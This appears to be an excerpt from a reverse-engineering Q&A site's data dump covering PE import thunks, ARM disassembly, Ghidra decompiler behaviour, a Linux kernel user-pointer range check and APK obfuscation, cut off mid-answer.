  <row Id="26566" PostTypeId="1" AcceptedAnswerId="26575" CreationDate="2020-12-16T20:06:52.613" Score="0" ViewCount="224" Body="&lt;p&gt;What happens if you try to debug yourself ? I mean, does the process crash ?&#xA;If it is possible, how would you implement it ?&lt;/p&gt;&#xA;&lt;p&gt;I have tried launching x64dbg and I can't attach to my own x64dbg process.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="35259" LastEditorUserId="245" LastEditDate="2020-12-17T08:04:12.073" LastActivityDate="2020-12-17T16:47:23.743" Title="Is it possible for a process to debug itself?" Tags="|windows|debugging|debuggers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26567" PostTypeId="1" AcceptedAnswerId="26574" CreationDate="2020-12-16T21:20:36.200" Score="4" ViewCount="259" Body="&lt;p&gt;I just started working my way to reversing Windows binaries and I stumbled upon the Import Address Table. When reversing a particular DLL I encountered many thunk-functions which all supposedly referenced the IAT.&#xA;From my experience on Linux I guessed that this is somewhat similar to the procedure linkage table (or rather the global offset table I suppose).&#xA;Based on that I would assume that the linking process is similar, though I cannot seem to find detailed information on that. Any help would be appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore I was wondering whether you could resolve these thunks without ever running the binary. In particular because it is in fact a DLL that I am analyzing the information to resolve these should be available already?&#xA;Though I cannot really make sense out of the information available.&lt;/p&gt;&#xA;&lt;p&gt;Just to be sure I am not completely off, here is an example of what I am talking about:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void THUNK_FUN_18002d97a(void)&#xA;&#xA;{&#xA;  (*_DAT_18005ba68)();&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Memory at the address (in section &lt;code&gt;.data&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x18005ba68: 94 00 00 06 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Edit:&#xA;Thanks for the input. I now feel like I misunderstood the purpose of the IAT. So consider the following scenario:&#xA;We have a PE executable A which imports symbols from a DLL B.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;import directory table&lt;/a&gt; is used in A, whereas in B a corresponding entry has to be found in the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;export directory table&lt;/a&gt;. Is that correct?&lt;/li&gt;&#xA;&lt;li&gt;In the DLL (B) I am investigating the thunks mentioned are neither imported nor exported symbols. So what may I be witnessing?&lt;/li&gt;&#xA;&lt;li&gt;The overall process must be looking something like this:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A is executed. All needed DLLs are searched and linked (this is called binding in this context?)&lt;/li&gt;&#xA;&lt;li&gt;This causes B to be actually loaded at some address. Now symbols from B in A can be resolved (using the import directory table). Is B necessarily position independent? I read about preferred base addresses and conditional re-location of the whole binary if it cannot be matched. Is this still correct?&lt;/li&gt;&#xA;&lt;li&gt;I still do not see a point why the second layer jump table I encountered is needed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30412" LastEditorUserId="30412" LastEditDate="2020-12-17T20:11:23.753" LastActivityDate="2020-12-19T01:01:10.797" Title="Statically recovering thunks in Windows x86_64 DLL" Tags="|windows|dll|iat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26568" PostTypeId="1" AcceptedAnswerId="26572" CreationDate="2020-12-16T23:32:09.907" Score="3" ViewCount="113" Body="&lt;p&gt;I’m working with a disassembled ARMv7 binary. There are several instances where groups of instructions seem sub-optimal, but this one really caught my attention:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00009086         movw       r3, #0x4f36&#xA;0000908a         movt       r3, #0x1                                            ; ledTimer&#xA;0000908e         ldrh       r3, [r3]                                            ; ledTimer&#xA;00009090         subs       r3, #0x1&#xA;00009092         uxth       r2, r3&#xA;00009094         movw       r3, #0x4f36&#xA;00009098         movt       r3, #0x1                                            ; ledTimer&#xA;0000909c         strh       r2, [r3]                                            ; ledTimer&#xA;0000909e         movw       r3, #0x4f36&#xA;000090a2         movt       r3, #0x1                                            ; ledTimer&#xA;000090a6         ldrh       r3, [r3]                                            ; ledTimer&#xA;000090a8         cmp        r3, #0x0&#xA;000090aa         bne.w      loc_9250&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since &lt;code&gt;loc_9250&lt;/code&gt; is the beginning of the epilogue, I interpreted this section as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (--ledTimer != 0) {&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I missing something about the ARMv7 architecture that makes all these instructions necessary (besides my disassembler not substituting the pseudo-&lt;code&gt;mov32&lt;/code&gt; for the &lt;code&gt;movw&lt;/code&gt;/&lt;code&gt;movt&lt;/code&gt; pairs)? It seems like a very inefficient way of going about this sequence of operations. Or perhaps this is just the result of a compiler with optimisation settings cranked right down.&lt;/p&gt;&#xA;" OwnerUserId="33594" LastActivityDate="2020-12-17T13:59:38.967" Title="Understanding ARMv7 seemingly overly verbose disassembly" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26570" PostTypeId="1" CreationDate="2020-12-17T10:53:01.067" Score="1" ViewCount="403" Body="&lt;p&gt;The variables at the bottom prefixed with &lt;code&gt;HASH:xxxxx:8&lt;/code&gt;, what are these variables and why are they here?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WM46d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WM46d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I delete them Ghidra insists on re-adding them when I &lt;code&gt;Commit local names&lt;/code&gt; so I'm guessing they must be of some importance or Ghidra is detecting they exist in some way.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2020-12-17T10:53:01.067" Title="Ghidra: What are &quot;hash&quot; function variables in the listing view" Tags="|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26571" PostTypeId="1" CreationDate="2020-12-17T12:53:21.490" Score="0" ViewCount="284" Body="&lt;p&gt;I'm playing currently a CTF, i was asked to find the flag in PX-EXE file. Its architecture is MIPS. When i type &lt;code&gt;file&lt;/code&gt; command in the terminal i get the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Sony Playstation executable PC=0x8005d448, .text=[0x8005d000,0x15800], Stack=0x801ffff0, (Europe area) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas or helpful links please ? Thanks&lt;/p&gt;&#xA;" OwnerUserId="33425" LastActivityDate="2020-12-17T15:37:28.757" Title="Reverse engineer a PS-EXE file" Tags="|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26572" PostTypeId="2" ParentId="26568" CreationDate="2020-12-17T13:59:38.967" Score="3" Body="&lt;p&gt;This is probably because &lt;code&gt;*ledTimer&lt;/code&gt; is volatile.  Here's a short bit of code that produces a similar result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;    volatile unsigned short *ledTimer{(unsigned short *)0x14f36};&#xA;    for (--(*ledTimer); *ledTimer; --(*ledTimer));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now compile with gcc 8.3.1 with &lt;code&gt;-march=armv7 -O1&lt;/code&gt; and we get something that starts to resemble what you've listed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;main:&#xA;        movw    r2, #20278&#xA;        movt    r2, 1&#xA;        ldrh    r3, [r2]&#xA;        subs    r3, r3, #1&#xA;        uxth    r3, r3&#xA;        strh    r3, [r2]        @ movhi&#xA;        ldrh    r3, [r2]&#xA;        uxth    r3, r3&#xA;        cbz     r3, .L2&#xA;        movw    r2, #20278&#xA;        movt    r2, 1&#xA;.L3:&#xA;        ldrh    r3, [r2]&#xA;        subs    r3, r3, #1&#xA;        uxth    r3, r3&#xA;        strh    r3, [r2]        @ movhi&#xA;        ldrh    r3, [r2]&#xA;        uxth    r3, r3&#xA;        cmp     r3, #0&#xA;        bne     .L3&#xA;.L2:&#xA;        movs    r0, #0&#xA;        bx      lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://gcc.godbolt.org/z/nseG19&quot; rel=&quot;nofollow noreferrer&quot;&gt;try it live&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2020-12-17T13:59:38.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26573" PostTypeId="2" ParentId="26571" CreationDate="2020-12-17T15:37:28.757" Score="1" Body="&lt;p&gt;IDA Pro &lt;a href=&quot;https://www.hex-rays.com/products/ida/file_formats/&quot; rel=&quot;nofollow noreferrer&quot;&gt;supports&lt;/a&gt; the PSX-EXE file format.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-17T15:37:28.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26574" PostTypeId="2" ParentId="26567" CreationDate="2020-12-17T15:47:40.953" Score="2" Body="&lt;h2&gt;PART 1&lt;/h2&gt;&#xA;&lt;p&gt;The PE import thunks do not work the same way as ELF PLT. There is no dynamic resolver invoked on the first call but all import pointers are resolved at the process startup ahead of time (similar to &lt;code&gt;LD_BIND_NOW&lt;/code&gt;). The pointers are grouped in a GOT-like Import Address Table (IAT) and the metadata with the details about the DLLs and symbols imported is stored in the Import Directory which is referred to by the PE header.&lt;/p&gt;&#xA;&lt;p&gt;To recover the symbols you need to parse the import directory. The details can be found in the official &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE format specification.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;PART2&lt;/h2&gt;&#xA;&lt;p&gt;After your edit, it seems you're dealing with a &lt;strong&gt;native to managed code thunk&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I've done the following experiment to produce a &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies&quot; rel=&quot;nofollow noreferrer&quot;&gt;mixed executable&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;m.cpp&lt;/code&gt; (Managed code):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;using namespace System;&#xA;&#xA;void hello()&#xA;{&#xA;    String^ str = &amp;quot;Hello World&amp;quot;;&#xA;    Console::WriteLine(str);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;n.cpp&lt;/code&gt; (Native code):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void hello();&#xA;&#xA;void main()&#xA;{&#xA;  hello();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Compile and link:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cl /c /clr /Zi m.cpp&#xA;cl /c /Zi n.cpp&#xA;link /debug /out:mixed.exe m.obj n.obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After disassembling the native part (and getting symbols thanks to the PDB), I could observe the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00007FF798E81090 main proc near     &#xA;.text:00007FF798E81090 sub     rsp, 28h&#xA;.text:00007FF798E81094 call    ?hello@@YAXXZ ; hello(void)&#xA;.text:00007FF798E81099 xor     eax, eax&#xA;.text:00007FF798E8109B add     rsp, 28h&#xA;.text:00007FF798E8109F retn&#xA;.text:00007FF798E8109F main endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Following the call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.nep:00007FF798ECC000 ?hello@@YAXXZ proc near&#xA;.nep:00007FF798ECC000 jmp     short loc_7FF798ECC00A&#xA;.nep:00007FF798ECC002 ud2&#xA;.nep:00007FF798ECC004 jmp     cs:__m2mep@?hello@@$$FYAXXZ&#xA;.nep:00007FF798ECC00A loc_7FF798ECC00A:&#xA;.nep:00007FF798ECC00A jmp     cs:__mep@?hello@@$$FYAXXZ&#xA;.nep:00007FF798ECC00A ?hello@@YAXXZ endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And finally, following the &lt;code&gt;jmp&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:00007FF798EE7000 __m2mep@?hello@@$$FYAXXZ dq 6000001h&#xA;.data:00007FF798EE7008 __mep@?hello@@$$FYAXXZ dq 6000001h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The value 6000001 is a &lt;a href=&quot;https://iobservable.net/blog/2013/05/12/introduction-to-clr-metadata/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;CLR Token&lt;/em&gt;&lt;/a&gt;. The high byte byte is the token kind, or the metadata table index, in this case 0x6 meaning &lt;em&gt;Method&lt;/em&gt;. Looking it up in a .NET viewer such as ILDASM or dnSpy we can see that it refers to the managed method &amp;quot;hello&amp;quot; with the RVA &lt;code&gt;000010a0&lt;/code&gt;. Going to that address we see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00007FF798E810A0 ?hello@@$$FYAXXZ:&#xA;.text:00007FF798E810A0 add     esi, [rax]&#xA;.text:00007FF798E810A2 add     [rax], eax&#xA;.text:00007FF798E810A4 sldt    word ptr [rax]&#xA;.text:00007FF798E810A7 add     [rdx], al&#xA;.text:00007FF798E810A9 db 2 dup(0), 11h&#xA;.text:00007FF798E810AC hello:&#xA;.text:00007FF798E810AC adc     al, 0Ah&#xA;.text:00007FF798E810AE jb      short loc_7FF798E810B1&#xA;.text:00007FF798E810B0 db 0&#xA;.text:00007FF798E810B1 loc_7FF798E810B1:&#xA;.text:00007FF798E810B1 add     [rax+0Ah], dh&#xA;.text:00007FF798E810B4 dd 22806h&#xA;.text:00007FF798E810B8 db 0, 0Ah, 2Ah, 0CCh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It does not make any sense as x64 code so this is obviously CLI bytecode and should be checked with a .net decompiler. Strangely, none of those I tried seems to show the function but I managed to get the IL disassembly from ILDASM:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.method /*06000001*/ assembly static void modopt([mscorlib/*23000001*/]System.Runtime.CompilerServices.CallConvCdecl/*01000001*/) &#xA;        hello() cil managed&#xA;{&#xA;  .vtentry 1 : 1&#xA;  // Code size       15 (0xf)&#xA;  .maxstack  1&#xA;  .locals /*11000002*/ ([0] string str)&#xA;  IL_0000:  ldnull&#xA;  IL_0001:  stloc.0&#xA;  IL_0002:  ldstr      &amp;quot;Hello World&amp;quot; /* 70000001 */&#xA;  IL_0007:  stloc.0&#xA;  IL_0008:  ldloc.0&#xA;  IL_0009:  call       void [mscorlib/*23000001*/]System.Console/*01000003*/::WriteLine(string) /* 0A000002 */&#xA;  IL_000e:  ret&#xA;} // end of global method hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can probably follow a similar approach and look up the token 0x06000094 in the metadata tables or IL disassembly to figure out the destination of the jump in managed code.&lt;/p&gt;&#xA;&lt;p&gt;Random observations:&lt;/p&gt;&#xA;&lt;p&gt;The segment &lt;code&gt;.nep&lt;/code&gt; seems to mean &amp;quot;native entrypoint&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The prefix &lt;code&gt;__mep&lt;/code&gt; in the token name &lt;em&gt;probably&lt;/em&gt; means &amp;quot;managed entrypoint&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-12-19T01:01:10.797" LastActivityDate="2020-12-19T01:01:10.797" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26575" PostTypeId="2" ParentId="26566" CreationDate="2020-12-17T16:47:23.743" Score="1" Body="&lt;p&gt;Usually it’s not possible because one process must control the other and most debugging commands (e.g. reading or writing registers) need the target process to be stopped.&lt;/p&gt;&#xA;&lt;p&gt;A common approach is run a copy of itself as a separate process (can be done on Unix systems using fork()) and debug that. In theory you could implement a custom debug-like functionality using signal or exception handlers or low level APIs but this is definitely something that would require a lot of work and unlikely to be very robust.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-17T16:47:23.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26576" PostTypeId="2" ParentId="26565" CreationDate="2020-12-17T16:53:33.487" Score="1" Body="&lt;p&gt;It seems you are talking about debugging information. You can use a compilation switch such as &lt;code&gt;/Zi&lt;/code&gt; to generate a PDB file with debugging information which can then be used by IDA to label your functions and variables in the disassembly.&lt;/p&gt;&#xA;&lt;p&gt;Note that some information is lost anyway: comments, preprocess or definitions, or any code or data which has been optimized out and removed.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-17T16:53:33.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26577" PostTypeId="1" CreationDate="2020-12-17T18:38:40.710" Score="1" ViewCount="3844" Body="&lt;p&gt;I'm a newbie here but I'm stuck with this problem.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to decompile a function that in turns call another function (named      charTranslateToHex).&lt;/p&gt;&#xA;&lt;p&gt;This is the &lt;strong&gt;charTranslateToHex assembly code&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                     *************************************************************&#xA;                     *                           FUNCTION                          &#xA;                     *************************************************************&#xA;                     undefined  __stdcall  charTranslateToHex (uint  param_1 , ui&#xA;     undefined         r0:1           &amp;lt;RETURN&amp;gt;&#xA;     uint              r0:4           param_1&#xA;     uint              r1:4           param_2&#xA;     undefined4        r2:4           param_3&#xA;     undefined2        Stack[-0xc]:2  local_c                                 XREF[2]:     000c1284 (W) , &#xA;                                                                                           000c128c (W)   &#xA;                     charTranslateToHex                              XREF[3]:     Entry Point (*) , &#xA;                                                                                  charTranslateToHex:0002a230 (T) , &#xA;                                                                                  charTranslateToHex:0002a238 (c) , &#xA;                                                                                  000f389c (*)   &#xA;000c1278 07  40  2d  e9    stmdb      sp!,{param_1  param_2  param_3  lr}&#xA;000c127c 00  10  a0  e3    mov        param_2 ,#0x0&#xA;000c1280 08  30  8d  e2    add        r3,sp,#0x8&#xA;000c1284 b4  10  cd  e1    strh       param_2 ,[sp,#local_c ]&#xA;000c1288 10  20  a0  e3    mov        param_3 ,#0x10&#xA;000c128c 04  00  63  e5    strb       param_1 ,[r3,#local_c ]!&#xA;000c1290 03  00  a0  e1    cpy        param_1 ,r3&#xA;000c1294 25  a6  fd  eb    bl         strtoul                                          ulong strtoul(char * __nptr, cha&#xA;000c1298 0e  80  bd  e8    ldmia      sp!,{param_2  param_3  r3 pc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and this is how Ghidra decompile it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void charTranslateToHex(uint param_1,uint param_2,undefined4 param_3)&#xA;&#xA;{&#xA;  uint local_c;&#xA;  undefined4 uStack8;&#xA;  &#xA;  local_c = param_2 &amp;amp; 0xffff0000;&#xA;  local_c = local_c | param_1 &amp;amp; 0xff;&#xA;  uStack8 = param_3;&#xA;  strtoul((char *)&amp;amp;local_c,(char **)0x0,0x10);&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now back to the &lt;strong&gt;main function&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;......&#xA;                             LAB_000c1410                                    XREF[1]:     000c13c4 (j)   &#xA;        000c1410 00  00  6a  e0    rsb        param_1 ,r10 ,param_1&#xA;        000c1414 48  10  8d  e2    add        param_2 ,sp,#0x48&#xA;        000c1418 00  30  81  e0    add        param_4 ,param_2 ,param_1&#xA;        000c141c 08  00  8d  e5    str        param_1 ,[sp,#local_60 ]&#xA;        000c1420 1d  00  53  e5    ldrb       param_1 ,[r3,#local_3d ]&#xA;        000c1424 04  90  a0  e1    cpy        r9,r4&#xA;        000c1428 80  a3  fd  eb    bl         charTranslateToHex                               undefined charTranslateToHex(uin&#xA;        000c142c 24  31  9f  e5    ldr        param_4 ,[DAT_000c1558 ]                          = 0001529Dh&#xA;        000c1430 00  60  a0  e3    mov        r6,#0x0&#xA;        000c1434 10  00  8d  e5    str        param_1 ,[sp,#local_58 ]&#xA;        000c1438 03  30  8f  e0    add        param_4 ,pc,param_4&#xA;        000c143c 14  30  8d  e5    str        param_4 =&amp;gt;DAT_000d66dd ,[sp,#local_54 ]            = 25h    %&#xA;......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and this is the decompiled version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iVar3 = sVar5 - uVar8;&#xA;uVar12 = charTranslateToHex((uint)local_3d[iVar3],(uint)&amp;amp;stack0xffffffe0,uVar10);&#xA;uVar9 = (uint)uVar12;&#xA;uVar11 = 0;&#xA;__s = param_4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm not understanding why the charTranslateToHex requires three parameters and why it returns void despite the main function using it's return value.&lt;/p&gt;&#xA;&lt;p&gt;Can you help me please?&lt;/p&gt;&#xA;" OwnerUserId="35270" LastEditorUserId="35270" LastEditDate="2020-12-18T12:53:48.727" LastActivityDate="2020-12-18T14:26:18.227" Title="Ghidra wrong function arguments and returns" Tags="|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26580" PostTypeId="2" ParentId="26577" CreationDate="2020-12-18T14:26:18.227" Score="3" Body="&lt;h2&gt;Theory&lt;/h2&gt;&#xA;&lt;p&gt;The first important thing to understand is that the decompiler always decompiles only a single function at once and that the results of this analysis are &lt;em&gt;not&lt;/em&gt; propagated by default. So the decompiler will happily analyse a function like &lt;code&gt;charTranslateToHex&lt;/code&gt; and come to the conclusion that it uses 3 parameters and returns none, but decompile a function that calls &lt;code&gt;charTranslateToHex&lt;/code&gt;, e.g. &lt;code&gt;main&lt;/code&gt; and conclude that based on &lt;em&gt;only&lt;/em&gt; the code in &lt;code&gt;main&lt;/code&gt; that &lt;code&gt;charTranslateToHex&lt;/code&gt; takes 3 argument and returns something. The important step now is deciding which interpretation to trust and &amp;quot;commiting&amp;quot; to it.&lt;/p&gt;&#xA;&lt;h2&gt;Commit Parameter ID&lt;/h2&gt;&#xA;&lt;p&gt;This can be done manually via &lt;code&gt;Commit Parameter ID&lt;/code&gt; in the context menu of the decompiler listing, or by using the analysis pass that does this for all functions.&lt;/p&gt;&#xA;&lt;h2&gt;What changes after commiting?&lt;/h2&gt;&#xA;&lt;p&gt;Now the decompiler will assume that &lt;code&gt;charTranslateToHex&lt;/code&gt; has the function signature you commited, e.g. &lt;code&gt;void charTranslateToHex(uint param_1,uint param_2,undefined4 param_3)&lt;/code&gt; instead of trying to infer it from the context in &lt;code&gt;main&lt;/code&gt;. But in this case this would actually be wrong and lead to worse results!&lt;/p&gt;&#xA;&lt;h2&gt;Why is it wrong?&lt;/h2&gt;&#xA;&lt;p&gt;Because the decompiler doesn't know that call to &lt;code&gt;strtoul&lt;/code&gt; inside &lt;code&gt;charTranslateToHex&lt;/code&gt; actually returns something, that will then be automatically returned as the result of &lt;code&gt;charTranslateToHex&lt;/code&gt;. This is the same problem as your question, now just with &lt;code&gt;charTranslateToHex&lt;/code&gt; as the caller, and &lt;code&gt;strtoul&lt;/code&gt; as the callee, instead of &lt;code&gt;main&lt;/code&gt; as the caller and &lt;code&gt;charTranslateToHex&lt;/code&gt;. There is no function signature available for &lt;code&gt;strtoul&lt;/code&gt;, so it is unknown if it returns something.&lt;/p&gt;&#xA;&lt;p&gt;You can either manually apply the correct signature &lt;code&gt;unsigned long int strtoul (const char* str, char** endptr, int base);&lt;/code&gt; or look for the appropriate Ghidra Data Type Archive that includes this library function. Then the decompiler will correctly infer that &lt;code&gt;charTranslateToHex&lt;/code&gt; returns something and change the signature of &lt;code&gt;charTranslateToHex&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-12-18T14:26:18.227" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26581" PostTypeId="1" AcceptedAnswerId="26583" CreationDate="2020-12-18T16:45:41.837" Score="0" ViewCount="41" Body="&lt;p&gt;This is the section of disassembled code in question. It’s from a Linux kernel module compiled for 4.4.16 on ARMv7.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  ; Registers used:&#xA;  ;  - r3 :  unsigned long argp&#xA;&#xA;0000005c         mov        r1, sp&#xA;00000060         bic        r2, r1, #0x1fc0&#xA;00000064         bic        r2, r2, #0x3f&#xA;00000068         ldr        r4, [r2, #0x8]&#xA;0000006c         adds       r1, r3, #0x1&#xA;00000070         sbcslo     r1, r1, r4&#xA;00000074         movlo      r4, #0x0&#xA;00000078         cmp        r4, #0x0&#xA;0000007c         bne        loc_dc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The stack at this point looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00  &amp;lt;- SP&#xA;04  [padding]&#xA;07  u8 arg_kernel&#xA;08  pushed[r4]&#xA;0c  pushed[r5]&#xA;10  pushed[r6]&#xA;14  pushed[lr]&#xA;18  &amp;lt;Previous SP&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here’s how I decoded this assembly into pseudo-C:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r4 = *(SP &amp;amp; 0xe000 + 8);&#xA;r1 = argp + 1;&#xA;&#xA;if (r1 overflowed) {&#xA;    r1 -= r4;&#xA;    r4 = 0;&#xA;}&#xA;&#xA;if (r4 == 0) {&#xA;  /* jump */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I got this right, I don’t really understand the purpose of this code. If I made a mistake, I &lt;em&gt;really&lt;/em&gt; don’t understand it. Can anyone offer any insight into the purpose of these operations?&lt;/p&gt;&#xA;" OwnerUserId="33594" LastActivityDate="2020-12-19T21:55:19.607" Title="Why would just two bits of the SP be used here?" Tags="|disassembly|linux|arm|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26582" PostTypeId="1" CreationDate="2020-12-18T21:59:49.890" Score="2" ViewCount="148" Body="&lt;p&gt;I am newbie to this field. I am still learning from your wonderful contributions, help and guidance.&lt;/p&gt;&#xA;&lt;p&gt;I have had an app that i want to study in-depth. How the the it is constructed? What components that are used? And the like.&lt;/p&gt;&#xA;&lt;p&gt;I did some decompiling operations with different tools and I get different results. What confuses me is that when I decompile with jadx (online one) I get java extension files, resource and so on but i do also see .dex file 1&amp;amp;2. I don't know if the obfsucation was done on particular parts (3rd party) or what?&lt;/p&gt;&#xA;&lt;p&gt;What do you think guys? Does the proguard can be applied on certain parts in the app or as a whole.&lt;/p&gt;&#xA;&lt;p&gt;I can share with you the apk file and the results too.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance and have a good day.&lt;/p&gt;&#xA;" OwnerUserId="35282" LastActivityDate="2022-01-14T03:05:25.720" Title="Can obfuscation be applied on certain parts?" Tags="|decompilation|apk|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26583" PostTypeId="2" ParentId="26581" CreationDate="2020-12-19T02:37:02.287" Score="1" Body="&lt;p&gt;Your translation is wrong. The two BIC instructions clear the 13 low bits of the stack pointer (1FC0|3F = 1FFF). In kernel mode, this produces a pointer to the&lt;a href=&quot;https://stackoverflow.com/q/43176500&quot;&gt; &lt;code&gt;thread_info&lt;/code&gt; structure&lt;/a&gt; for the current thread.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;ldr&lt;/code&gt; then reads the field at offset 8 in it which &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.3/source/arch/arm/include/asm/thread_info.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;seems to be &lt;code&gt;addr_limit&lt;/code&gt;&lt;/a&gt; and &lt;code&gt;r3+1&lt;/code&gt; apparently should not exceed it.&lt;/p&gt;&#xA;&lt;p&gt;Combined, the code matches this helper from &lt;code&gt;uaccess.h&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define __range_ok(addr, size) ({ \&#xA;    unsigned long flag, roksum; \&#xA;    __chk_user_ptr(addr);   \&#xA;    __asm__(&amp;quot;adds %1, %2, %3; sbcccs %1, %1, %0; movcc %0, #0&amp;quot; \&#xA;        : &amp;quot;=&amp;amp;r&amp;quot; (flag), &amp;quot;=&amp;amp;r&amp;quot; (roksum) \&#xA;        : &amp;quot;r&amp;quot; (addr), &amp;quot;Ir&amp;quot; (size), &amp;quot;0&amp;quot; 